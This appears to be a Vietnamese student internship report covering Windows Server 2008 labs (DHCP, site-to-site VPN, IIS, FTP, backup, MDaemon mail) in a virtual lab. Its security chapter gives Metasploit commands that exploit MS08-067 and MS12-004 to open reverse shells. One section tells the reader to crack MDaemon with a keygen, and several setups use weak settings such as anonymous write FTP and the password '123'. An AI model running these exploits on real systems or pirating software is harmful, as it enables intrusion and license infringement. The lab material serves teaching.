Xác nhận lại thông tin trước khi cài đặt dịch vụ DHCP. Bấm Install để cài đặt
Cài đặt Role hoàn tất, và nhấn Close
Hình 6.II.5 Quá trình cài đặt hoàn tất
3. Cấu hình DHCPVào Administrative ToolsDHCP->Nhấn chuột phải vào IPv4 và New Scope
->Hộp thoại New Scope hiện ra và Next. Hộp thoại Scope Name vàĐiền tên của
scope vào mục Name và nhấn Next
Hình 6.II.6 đặt tên cho scope
36
Hộp thoại IP Address Range,điền thông số range IP cấp phát và subnet mask
Next.
Hình 6.II.7 Nhập dãy IP muốn cấp và subnet max
Hộp thoại Lease Duration: thời gian thuê địa chỉ IP mặc định là 8 ngày-> Next
- Hộp thoại Configuration DHCP Options yêu cầu chúng ta cấu hình thông số
dịch vụ của scope ngay bây giờ hoặc để sau. Ở đây ta chọn No, I will configure
these option later và nhấn Next.
Hình 6.II.8 hoàn tất quá trình tạo scope
- Xổ scope cần thao tác và chuột phải scope optionsConfigure Options.
- Hộp thoại Scope Options hiện ra, ở trường Available Options là những thuộc tính
sẵn sàng mà chúng ta có thể thay đổi với những thuộc tính đã stick là những thuộc
tính đã được cấu hình trước đó.
- Chúng ta sẽ thử cấu hình default gateway lại cho scope này, chọn Router. Router
Options hiện ta cho chúng ta thêm xóa và edit với những thuộc tính khác cũng vậy
37
Hình 6.II.9
Kiểm tra bằng cách vào win xp và để ip tự cấp
Hình 6.II.10 Server cấp IP thành công
III. Tìm hiểu VPN:
Giải pháp VPN (Virtual Private Network) được thiết kế cho những tổ chức có xu hướng tăng cường thông tin từ xa vì địa bàn hoạt động rộng (trên toàn quốc hay toàn cầu). Tài nguyên ở trung tâm có thể kết nối đến từ nhiều nguồn nên tiết kiệm được được chi phí và thời gian
Một mạng VPN điển hình bao gồm mạng LAN chính tại trụ sở (Văn phòng chính), các mạng LAN khác tại những văn phòng từ xa, các điểm kết nối (như 'Văn phòng' tại gia) hoặc người sử dụng (Nhân viên di động) truy cập đến từ bên ngoài.
38
1. Khái niệm:Mạng riêng ảo hay VPN (Virtual Private Network) là một mạng dành riêng
để kết nối các máy tính lại với nhau thông qua mạng Internet công cộng. Những máy tính tham gia mạng riêng ảo sẽ "nhìn thấy nhau" như trong một mạng nội bộ - LAN (Local Area Network).
Internet là một môi trường công cộng, việc chia sẻ dữ liệu có tính riêng tư thông qua Internet là cực kỳ nguy hiểm vì những dữ liệu đó có thể dễ dàng bị rò rỉ, bị ăn cắp... Mạng riêng ảo là giao thức trợ giúp việc kết nối các máy tính lại với nhau thông qua một kênh truyền dẫn dữ liệu (tunel) riêng đã được mã hóa.
Mạng riêng ảo giúp bảo vệ dữ liệu trong khi chúng được truyền trên Internet vì vậy mạng riêng ảo thường được ứng dụng trong các trường hợp sau:
Làm việc từ xa: Truy cập từ xa thông qua Internet vào mạng của công ty để chia sẻ dữ liệu cũng như thực thi các ứng dụng nội bộ.
Kết nối nhiều mạng với nhau (Site-to-Site): Nếu công ty có nhiều văn phòng, việc kết nối các mạng lại với nhau thành một mạng thống nhất sẽ đem lại hiệu quả ấn tượng trong việc quản lý & chia sẻ thông tin.
Tạo phiên làm việc an toàn: Mạng riêng ảo là giải pháp tốt & với chi phí thấp cho một số công việc đòi hỏi tính bảo mật cao như quản trị máy chủ, website, cơ sở dữ liệu...
Nếu thường xuyên làm việc trên Internet & thông tin là tài sản vô giá, bạn nên ứng dụng mạng riêng ảo vào công việc của mình.
2. Các loại VPN:Có hai loại phổ biến hiện nay là VPN truy cập từ xa (Remote-Access ) và
VPN điểm-nối-điểm (site-to-site)
39
VPN truy cập từ xa còn được gọi là mạng Dial-up riêng ảo (VPDN), là một kết nối người dùng-đến-LAN, thường là nhu cầu của một tổ chức có nhiều nhân viên cần liên hệ với mạng riêng của mình từ rất nhiều địa điểm ở xa. Ví dụ như công ty muốn thiết lập một VPN lớn phải cần đến một nhà cung cấp dịch vụ doanh nghiệp (ESP). ESP này tạo ra một máy chủ truy cập mạng (NAS) và cung cấp cho những người sử dụng từ xa một phần mềm máy khách cho máy tính của họ. Sau đó, người sử dụng có thể gọi một số miễn phí để liên hệ với NAS và dùng phần mềm VPN máy khách để truy cập vào mạng riêng của công ty. Loại VPN này cho phép các kết nối an toàn, có mật mã.
Hình minh họa cho thấy kết nối giữa Văn phòng chính và "Văn phòng" tại gia hoặc nhân viên di động là loại VPN truy cập từ xa).
VPN điểm-nối-điểm là việc sử dụng mật mã dành cho nhiều người để kết nối nhiều điểm cố định với nhau thông qua một mạng công cộng như Internet. Loại này có thể dựa trên Intranet hoặc Extranet. Loại dựa trên Intranet: Nếu một công ty có vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra một VPN intranet (VPN nội bộ) để nối LAN với LAN.
Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có thể làm việc trên một môi trường chung.
Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN Extranet.
3.Bảo mật trong VPN:Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn
có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết lập VPN.
Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật mã chung.
Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu
40
cầu bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để máy tính của người nhận có thể giải mã được.
Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì.
Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng nhập toàn diện hơn.
IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề (header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra, tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC với máy chủ.
Máy chủ AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn.
4.Sản phẩm công nghệ dành cho VPN :Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài
đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là:
- Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa.
- Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX.
- Server VPN cao cấp dành cho dịch vụ Dial-up.
- NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người sử dụng từ xa.
- Mạng VPN và trung tâm quản lý.
41
5. Bộ xử lý trung tâm VPN:Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của
Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến 10.000 điểm kết nối từ xa truy cập cùng lúc).
6. Router dùng cho VPN:Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều
hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp quy mô lớn.
7. Tường lửa PIX của Cisco:Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ
chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN và chặn truy cập bất hợp pháp.
Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao, xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP.
IV.VPN SITE TO SITE
1. chuẩn bị:- 2 windows server 2008
-2 windows XP
+ máy XP1 windows XP co ip 10.0.0.2 máy này sẻ ping thông với server1 là windows server 2008 có địa chỉ ip là 10.0.0.1.
+ máy XP2 windows XP co ip 172.16.1.2 máy này sẻ ping thông với server2 là windows server 2008 có địa chỉ ip là 172.16.1.1.
2. Đặt IP cho 4 máy:Card Lan Card Cross
Server 1 10.0.0.1/24 192.168.1.1/24Server 2 172.16.1.1/24 192.168.1.2/24XP1 10.0.0.2/24XP2 172.16.1.2/24
3. Tiến hành cấu hình trên 2 server:Tạo user saigon trên máy server 1. Tạo user hanoi trên máy server 2
42
Chọn properties ->chọn tab dial – in -> check chọn allow access
Hình 6.IV.1 Cho phép truy cập
Trên máy server1 Vào server manager ->add roles
Chọn network policy and access services -> next
Hình 6.IV.2 Chọn dịch vụ để cài đặt
Chọn routing and remote access services -> next-> install
Hình 6.IV.3Chọn routing and remote access servercies.
43
Như vậy là đã cài xong giờ đi cấu hình
Hình 6.IV.4 Hoàn tất quá trình cài đặt
Vào start -> administrative ->routing and remote access ->Chọn server -> click phải configure Chọn Custom configuration -> next
Chọn VPN access + Demand – dial connections + Lan routing -> next
Hình 6.IV.5 lựa chọn các dịch vụ.
Chọn start service
Hình 6.IV.6 chọn start để khởi động dịch vụ
44
Chọn tab Network interface -> click phải chọn new demand-dial interface
Hình 6.IV.7
Nhập interface name : saigon -> next
Hình 6.IV.8 Nhập tên interfaceb để kết nối
Check connect using vitual private networking (VPN) ->next
Hình 6.IV.9 Chọn kiểu để kết nối
45
Check chọn point to point -> next
Hình 6.IV.10
Nhập địa chỉ ip card CROSS của máy server2 -> next
Hình 6.IV.11 Địa chỉ card WAN của máy hanoi
Check chọn route ip + adda user account
Hình 6.IV.12 chọn giao thức và bảo mật
46
Add static route 172.16.2.0 (đường mạng LAN của máy server2) -> next
Hình 6.IV.13 khai báo đường mạng LAN của máy hanoi
Nhập password của user saigon mình đã tạo ban đầu -> next
Hình 6.IV.14 Cấu hình usename và password khi kết nối
Nhập user name :hanoi .Password của user hanoi mình đã tạo ban đầu -> next
Hình 6.IV.15
47
Chọn properties server
Chọn tab IPv4 và add vào chuỗi địa chỉ ip sẽ nhận khi connect vào
Hình 6.IV.16 Dãy địa chỉ IP khi máy client saigon kết nối máy hanoi
Apply + OK
Sau đó ta cấu hình cho server 2 tương tự như server 1 user là hanoi
Hình 6.IV.17 network interface của máy hanoi sau khi cấu hình.
Khi 2 server cấu hình xong thì ta
Click phải network interface saigon ở server1 -> chọn connect
48
Hình 6.IV.18 Chọn connect để bắt đầu kết nối với máy hanoi
Click phải network interface hanoi ở server2 -> chọn connect
hình 6.IV.19 Chọn connect để bắt đầu kết nối với máy saigon
kiểm tra Lúc này từ PC1 sẻ ping thông qua PC4.
Hình 6.IV.19. Kết nối thành công
49
V. IIS 7.0:
1. Giới thiệu về IIS: IIS là viết tắt của từ (Internet Information Services ), được đính kèm với các
phiên bản của Windows. IIS chính là các dịch vụ dành cho máy chủ chạy trên nền hệ điều hành Window nhằm cung cấp và phân tán các thông tin lên mạng, nó bao gồm nhiều dịch vụ khác nhau như Web Server, FTP Server… 2. Những điểm mới trên IIS 7.0:
Hầu hết mọi thứ trong IIS 7.0 đều là mới. Microsoft đã tập trung vào việc modul hóa khi xây dựng IIS 7.0, điều đó đã giảm thiểu được bề mặt tấn công của web server.
Một ví dụ cho vấn đề này: Nếu bạn cần một FTP Server hoặc tính năng Cache trong IIS thì phải cài đặt các FTP Server hoặc Cache để quản lý và kích hoạt hành động lưu trữ (cache) hoặc FTP Server.
Windows Server 2008 sẽ gồm có tất cả các tính năng cần thiết của IIS hỗ trợ cho việc cấu hình Web trong các môi trường sản xuất. Windows Vista chỉ có một số tính năng của IIS và các tính năng này phụ thuộc vào phiên bản Windows Vista. IIS 7.0 trong Windows Vista là một cách xử lý cho việc xây dựng và kiểm tra các ứng dụng web của bạn. Các modul được bổ sung và tính năng thêm vào sẽ được cung cấp từ Microsoft hoặc bạn có thể tự viết mã, thậm chí có thể mua từ một hãng phần mềm thứ ba nào đó. 3. Cài đặt IIS:Click server Manager-> add role. Trong của sổ Before you begin ta để mặc định rồi chọn Next.Trong cửa sổ Select Server Roles check Web Server (IIS)
Hinh 6.V.1 lựa chọn dịch vụ để cái đặt
Sau đó ta tiếp tục để mặc định -> NextClick install để bắt đầu cài đặt
50
Chọn Close.
Hình 6.V.2 Quá trình cài đặt hoàn tất
4. Cấu hình IIS:
- Clich Server Manager -> Configure IE ESC-> off-> OK.
Hình 6.V.3 Tắt chế độ bảo mật của IE
- Vào ổ C-> inetpub->wwwrot-> tạo file txt trangchu.htm và ghi nội dung.
Hình 6.V.4 Tạo nội dung trang chủ của Web server
51
- Vào Start-> Administrative Tools-> Internet Information Services ( IIS) Manager
Hình 6.V.5 Giao diện của IIS 7.0- Click chuột phải vào Sites chọn New Site và cấu hình.
Hình 6.V.6 Cấu hình Web Site
- Ta Click chuột phải vào Default Web Site chọn Stop.
Hình 6.V.7 Tắt trang web mặc định của IIS
52
- Trong server chọn Default Document và add trangchu.htm vào.
Hình 6.V.8 Add trang chủ của web server ta đã tạo
- Ta kiểm tra bằng cách vào IE gõ 192.168.1.1
Hình 6.V.9 Cấu hình Web Server hoàn tất
VI.FTP
1.FTP là gì?FTP là chữ viết tắt của File Transfer Protocol (Giao thức chuyển nhượng tập tin), đây là một giao thức giúp bạn dễ dàng trao đổi các dữ liệu giữa máy tính của bạn với host và ngược lại. Tại FTP, bạn sẽ có quyền quản lý toàn bộ các dữ liệu dạng tập tin và thư mục có trên host ngoại trừ database. Tất cả các gói host bạn mua có hỗ trợ control panel cPanel, DirectAdmin,…đều hỗ trợ sẵn FTP qua cổng kết nối 21.2.Cài đặt FTP:Đầu tiên ta vào Server Manager chọn add roles-> Next -> Chọn Web Server(IIS)-> Next
53
Hình 6.VI.1 lựa chọn dịch vụ cài đặtỞ cửa sổ Select Role Services ta chọn FTP Server -> Next
Hình 6.VI.2 bỗ sung thêm dịch vu FTP
Chọn Install để bắt đầu quá trình cài đặt.Chọn Close để hoàn tất quá trình cài đặt.
Hình 6.VI.3 Quá trình cài đặt hoàn tất
54
3.Cấu hình FTP:Đầu tiên ta vào ổ C tạo thư mục FTP và các file để share
Hình 6.VI.4 Tạo dữ liệu để chia sẽ Ta cấp quyền cho thư mục FTP share full control cho everyone
Hình 6.VI.5 Cấp quyền cho thư mục FTPTa vào Start -> Administrative Tools -> Internet Information Services (IIS)
Manager. Click chuột phải vào SERVER chọn Add FTP Site..
Hình 6.VI.6 Tạo FTP site
55
Ta đặt Site name cho FTP và trỏ đường dẫn đến thư mục FTP vừa tạo trong ổ C.
Hình 6.VI.7 Đặt tên cho FTP site và đường dẫn đến thư mục FTPTa chọn IP address và No SSL -> Next.
Hình 6.VI.8 nhập ip ,port, và chuẩn sllTa check vào Anonymous , Basic, Read, Write và chọn all users -> Finish.
Hình 6.VI.9 Chọn kiểu chứng thực và cấp quền truy cập
56
Kiểm tra bằng cách ta vào IE và gõ FTP:/192.168.1.1
Hình 6.VI.10 Chia sẻ FTP hoàn tất
57
CHƯƠNG 8: BACKUP & RESTORE
1.Cài đặt:Vào Server Manager ->Featires -> Add Features -> bung Windows Server Backup
Features-> Check Windows Server Backup-> Next.
Hình 8.1 lựa chọn dịch vụ cần cài đặt
Trong cửa sổ Confirm Installation Selections ta chọn Install để bắt đầu cài đặt
Sau khi cài đặt hoàn tất ta đóng cửa sổ lại.
Hình 8.2 Quá trình cài đặt hoàn tất
2.Back up:Vào Start -> Administrative Tools-> Windows Server Backup.
58
Hình 8.3 Giao diện của windows server backup
Vào Action -> chọn Backup Once… Cửa sổ Backup options, chọn Different options-> Next.
Chọn Full Server-> Next.
Hình 8.4 lựa chọn backup ở đây ta chọn full server
Tại Backup destination chọn ổ đĩa lưu file backup ở đây mình chọn ổ E -> Next.
Hình 8.5 chọn thư mục lưu file backup
59
Chọn backup để bắt đầu.Ta chờ đợi backup.
Hình 8.5 Server đang thực hiện quá trình backup
Sau khi backup hoàn tất ta vào ổ đĩa E sẽ thấy file backup được tạo.
8.6 File backup khi quá trình backup hoàn tất3.Restore:Đầu tiên ta vào ổ C xoá thư mục FTP (Giả sử server mất dữ liệu).
Hình 8.7
Vào Start -> Administrative Tools -> WindowsServerBackup-> Chọn Action-> Recovery-> chọn this server -> Next.
60
Hình 8.8 Chọn ngày muốn restore lại
Chọn dữ liệu mình muồn restore lại -> next
Hình 8.8 Chọn dữ liệu muốn restoreClick recover để bắt đầu
Hình 8.9 chọn recover để bắt đầu khôi phục dữ liệu
61
Sau khi recover hoàn tất ta vào ổ C kiểm tra thấy thư mục FTP đã được khôi phục.
Hình 8.10 thư mục FTP đã được khôi phục lại
62
CHƯƠNG 8: MAIL TRÊN VPS.
I.Đăng ký Domain
Hình8.1 Nhập tên domain muốn đăng ký
Ta truy cập vào dot.tk để đăng ký domain
Sau khi chọn xong domain ta click GO.Click vào sử dụng DNS, chọn tab Dịch Vụ DNS của Dot.tk, nhập
IP của VPS vào 2 hàng địa chỉ Ip
Sau đó chọn thời gian duy trì domain
Hình 8.2 Chọn thời gian đăng ký tên miền
Nhập ký tự để xác nhận là người sử dụng chứ không phải robot, rồi click : ĐĂNG Ký
Hình 8.3 nhập mã xác thực
Lựa chọn tài khoản quản lý tên miền:
63
Hình 8.4 đăng nhập tài khoản facebook để quản lý tên miền
Click “Đăng nhập vào My Dot” để tùy chỉnh các thông số cho domain
Hình 9.5 domain sau khi dươc tạo xong
Sau khi đăng nhập vào my.dot.tk. Ta click vào Go to domain hoặc Domain panel để vào danh sách các domain đã đăng ký.
Lựa chọn domain cần đăng lý sau đó click Modify:Cuối cùng là Save Changes.
II.Mail Server Mdaemon :
Định Nghĩa:
Mail Server là một máy chủ cung cấp dịch vụ viết gửi và nhận thư trên internet.
Để tạo 1 mail server thì có nhiều phần mềm , nhưng nổi tiếng nhất đó là Mdaemon.
Các bước chuẩn bị:
1VPS làm Mail Server
Phần mềm Mdaemon bản pro
1 Domain đã add record (MX record).
Tiến hành:
64
Trên máy VPS ta cài Mdaemon và crack thành bản pro (vì bản pro mới cho phép gởi và nhận mail từ các dịch vụ mail khác, con bản free chỉ cho gởi mail nội bộ)
Cách cài Mdaemon Pro:
Ta chạy file setup MDv10.exe
Hình 8.5
Điền Lience name : hoangphitt5(tùy chọn)
Company name: Tên Công Ty
Registration Key: Ta lấy trong keygen ở thư mục crack
Hình 8.6 nhập license name company và key
65
Copy dãy chữ số này paste vào Registration Key Sau khi paste key vào ta click Next.Lưu ý không check vào Install the Limited.Đợi quá trình cài đặt hoàn tất
Hình 8.7 mail mdeamon đang cài đặt
Điền domain (mà ta đã đang ký ở dot.tk lúc nãy vào) Domain name
Hình 8.8 nhập domain
Điền vào tên và địa chỉ mail cũng như mật khẩu cho tài khoảng admin
Hình 8.9 tạo tài khoản admin để quản trị mail
66
Điền vào IP của VPS :
Hình 8.10 khai báo địa chỉ ip dns
Click Next
Click finish để hoàn tất quá trình cài đặt.
Hình 8.11 hoàn tất quá trình cài đặt
Vào start -> all progamar -> Mdeamon -> Start Mdeamon để khỏi động Mdaemon lên rồi tạo User mail
Để bỏ giới hạn password->account->account setting>bỏ check requite strong pw
67
Hình 8.12 tắt chế độ mật khẩu phức tạp của mdeamon
Ta vào Account>>New Account để tạo users. Ta tạo User tk1 và tk2 password 123
Xem cấu hình các tài khoản:vào account>edit account
Hình 8.13 các account đã được tạo
Test Trong IE gõ địa chỉ http://192.168.1.1:3000 để vào WorldClient
Đăng nhập tài khoản tk1
Hình 8.14 giao diện world client
68
Trên mail server ta dùng tài khoản tk1 gửi mail cho tài khoản tk2.
Hình 8.15 gửi mail test đến cho tài khoản [email protected]
Đăng xuất và đăng nhập tương tự vào tài khoản tk2
Hình 8.16 tài khoản tk2 có 1 mail mới được gửi đến từ tài khoản tk1
Ta sẽ thấy được tin nhắn từ tài khoản tk1
Hình 8.17 gửi mail mdeamon thành công
Kết thúc mail mdeamon.
69
CH NG 9: B O M T WINDOWS.ƯƠ Ả Ậ
I.Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067Chuẩn bị 2 máy ảo: Windows XP (nạn nhân) và máy Back Track 5r3 (máy tấn công nạn nhân)
Trên máy Back Track cấu hình địa chỉ IP trong bài lab này cho máy là: 192.168.154.128
Các bước thực hiện:
Kiểm tra mạng giữa XP và máy Back Track 5r3:
Máy Back Track 5r3:
Hình 9.1 địa chỉ ip máy backtrack
Máy Xp:
Hình 9.2 địa chỉ ip máy XP
Trên máy Back track 5r3 ta gõ đường dẫn:
cd /pentest/exploits/framework
70
Hình 9.3 di chuyển đến thư muc framework
Ta tiếp tục gõ lệnh:
./msfcli windows/smb/ms08_067_netapi RHOST=192.168.154.129
LHOST=192.168.154.128 PAYLOAD=windows/shell/reverse_tcp
Hình 9.4
Trong đó RHOST là IP máy Xp, LHOST là IP máy Back track 5r3.
Sau đó, ta chờ cho máy Back track 5r3 tấn công Xp
71
Hình 9.5 hệ thống đang load module
Cuối cùng ta đã tấn công được Xp, ta biết được các thông số của máy XP
Hình 9.6 tấn công thành công
II.Khai thác lỗi hệ thổng trên Windows XP với mã lỗi MS12_004Máy Backtrack 5r3 có IP là 192.168.1.2, máy xp có IP là 192.168.1.3
Trên máy Back track vào chương trình terminal và gõ lệnh msfconsole
72
Hình 9.7 giao diện backup khi đã vào metasploit
Tìm mã lỗi bằng công cụ metaploit bằng cách gõ lệnh search ms12_004
Hình 9.8 tìm mã lỗi muỗn khai thác
Sau khi seach được mã lỗi ta dùng lệnh use và copy mã lỗi đã tìm được: use exploit/windows/browser/ms12_004_midi
73
Hình 9.9 sử dụng mã lỗi ms12_004_midi
Dùng lệnh SRVHOST <địa chỉ ip máy backtrack>
Hình 9.10 thiết lập srvhost
Dùng lệnh set PAYLOAD windows/meterpreter/preverse_tcp
Hình 9.11 thiết lập payload
74
Dùng lệnh set LHOST <ip backtrack>
Hình 9.12 thiết lập lhost
Dùng lệnh exploit để tiến hành khai thác lỗi. Chú ý đường dẫn http://192.168.1.2:8080/nếu máy nạn nhân vào đường dẫn này sẽ bị hack.
Hình 9.13 exploit để bắt đầu khai thác lỗi
Trở lại máy Windows XP,với địa chỉ ip máy XP là 192.168.1.3Trên máy XP ta vào trình duyệt web và gõ đường dẫnhttp://192.168.1.2:8080/
Hình 9.14 máy XP truy cập vào link đã cài mã độc
75
Trên máy Back Track bắt đầu nhận thấy có sự kết nối đến địa chỉ
Hình 9.15 máy backtrack đã tấn công thành công vào máy XP
Trên máy back track ta gõ lệnh sessions để kiểm tra.
Hình 9.16 thông tin máy đang bị chiếm quyền điều khiển
Gõ lệnh shell để vào ổ đĩa máy XP:
Hình 9.17 truy cập đến ổ C của win XP bằng máy backtrack
Giờ thì ta có thể xem được các file trong ổ đĩa của máy XP.
76
Hinh 9.17 các file hiện có trong ổ C của máy XP
77
CHƯƠNG 10: KẾT LUẬN
I.Các kết quả đạt được.Sau khi tìm hiểu và triển khai các dịch vụ trên máy ảo VMWare và VPS em đã có kiến thức về:
- Nguyên lý cơ bản của hệ điều hành mạng, kiến thức về hệ thống mạng, có kỹ năng cần thiết để cài đặt, cấu hình hoàn chỉnh mạng doanh nghiệp cỡ vừa và lớn dựa vào Windows Server 2008.
- Hiểu về cấu trúc hạ tầng, thiết kế và quản trị hệ thống mạng, nhiệm vụ quản lý bao gồm việc điều hành và hỗ trợ hệ thống.
- Triển khai, thiết kế, quản lý và chuẩn đoán hỏng hóc cho một hệ thống mạng.- Có các kiến thức trên nền tảng công nghệ Windows Server 2008.
II.Kinh nghiệm thực tế Có cái nhìn thực tế về việc cấu hình, quản lý một hệ thống mạng của một doanh
nghiệp thông qua nền tảng.
Được trực tiếp tiếp xúc những công nghệ và thiết bị mà trước đây chỉ biết đến
thông qua sách vở.
Được vận dụng những kiến thức tiếp thu trên lớp vào công việc thực tế.
Bổ sung và trau dồi những thiếu sót về kiến thức trong quá trình học trên lớp.
Trực tiếp triển khai và cấu hình trên máy chủ ảo VPS.
Có kinh nghiệm trong việc khắc phục sự cố khi hệ thống gặp lỗi.
III. Hoàn thiện bản thân Các thành viên trong nhóm đã định hướng rõ ràng mục tiêu sắp tới sẽ làm.
Tự tin hơn trong việc giao tiếp với mọi người trong công việc.
Nâng cao khả năng làm việc nhóm cũng như khả năng tự bản thân giải quyết vấn đề
khó khăn gặp phải trong công việc.
IV.Các kiến thức được lĩnh hội Kiến thức thực tế về hệ thống mạng của doanh nghiệp.
Hiểu các thành phần công nghệ mạng doanh nghiệp vừa và nhỏ.
78
V. Kết luận.Nhìn chung các công việc em đã cơ bản hoàn thành, tuy nhiên sẽ còn nhiều thiếu
sót, đa phần là quá trình tự học. Vì thế mong Thầy cô, các bạn đánh giá và đưa ra
những ý kiến đóng góp để khắc phục và sửa chữa. Bên cạnh trình độ chuyên môn
cũng cần có những kỹ năng mềm như kỹ năng giao tiếp, làm việc nhóm cũng hết
sức quan trọng. Thực tập là giai đoạn quan trọng của sinh viên, giúp sinh viên có cơ
hội làm việc thực tế nhằm củng cố kĩ năng, chuẩn bị cho giai đoạn làm việc thật sau
khi tốt nghiệp.
Trong quá trình thực tập tại Trung tâm ATHENA, nhóm chúng em được tiếp xúc
với một môi trường làm việc chuyên nghiệp, các công nghệ, thiết bị,các mô hình
thực tế... Qua đó nhóm học hỏi được những kinh nghiệm nhất định và có những suy
nghĩ đóng góp sau:
Về công việc: Để thiết kế và triển khai một hệ thống mạng cho một công ty, cần có
nhiều bộ phận phối hợp với nhau để thực hiện và hoàn thành dự án.
Về phát triển kỹ năng:Để các bộ phận có thể phối hợp tốt mỗi nhân viên cần có
những kỹ năng cơ bản để làm việc trong đội, nhóm:
o Làm việc nhóm: Kỹ năng làm việc nhóm là khả năng làm việc hiệu quả trong đội
ngũ. Đó là việc có thể sử dụng đúng người để có được kết quả tốt nhất và luôn sẵn
sàng để có thể lãnh đạo hoặc phối hợp làm theo.
o Tìm hiểu – thu thập thông tin: Quản lý thông tin là khả năng biết được nơi để có
được thông tin cần thiết - để tìm kiếm, định vị, và thu thập nó. Điều này có thể liên
quan đến việc sử dụng các nguồn lực khác nhau, cho dù chúng là từ những con
người hoặc từ các tài liệu trong thế giới rộng lớn của công nghệ
o Kỹ năng giải quyết vấn đề - Tính linh hoạt : Tính linh hoạt là khả năng thích nghi
để giải quyết công việc chúng ta gặp phải hàng ngày trong công việc lẫn đời sống
riêng. Giải quyết vấn đề là xác định vấn đề, nghiên cứu giải pháp và đưa ra những
quyết định hiệu quả.
Về công nghệ: với lợi thế là công ty hoạt động trong lĩnh vực công nghệ
thông tin ,ATHENA có hạ tầng CNTT hiện đại ,an toàn và thông suốt .
79
CHƯƠNG 11: TÀI LIỆU THAM KHẢO
YOUTUBE:
- Domain & Join Domain:
- DHCP
- DNS
- Web & FTP
- Mdeamon
- VPN site to site
SLIDESHARE:
http://www.slideshare.net/bosua94/report-ver1140815234705phpapp01
80